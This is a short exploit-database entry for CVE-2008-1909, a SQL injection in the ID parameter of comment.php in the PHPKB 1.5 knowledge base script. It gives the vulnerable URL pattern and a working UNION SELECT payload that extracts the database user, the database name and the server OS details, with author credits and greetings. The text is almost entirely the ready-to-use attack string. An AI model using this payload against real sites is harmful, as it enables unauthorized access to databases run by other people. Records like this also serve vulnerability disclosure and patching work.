PHPKB 1.5 Knowledge Base (ID) SQL Injection Vulnerability

2008-04-11

ID: 29727
CVE: CVE-2008-1909
Source: https://www.exploit-db.com/exploits/5428/
Download vulnerable application: None
PHPKB Knowledge Base Software (comment.php) Sql Injection Vulnerability ------------------------------------------------------------------------------------------------- # Author : parad0x # Home : www.inso.host.sk # Script : PHPKB Knowledge Base Software # Script Homepage : http://www.knowledgebase-script.com ------------------------------------------------------------------------------------------------- http://[target]/comment.php?ID=[SQL] ------------------------------------------------------------------------------------------------- Example: http://www.xxx.org/comment.php?ID=-67+union+select+concat(user(),char(32),database(),char(32),@@version_compile_os)/* ------------------------------------------------------------------------------------------------- greetz : VoLqaN -------------------------------------------------------------------------------------------------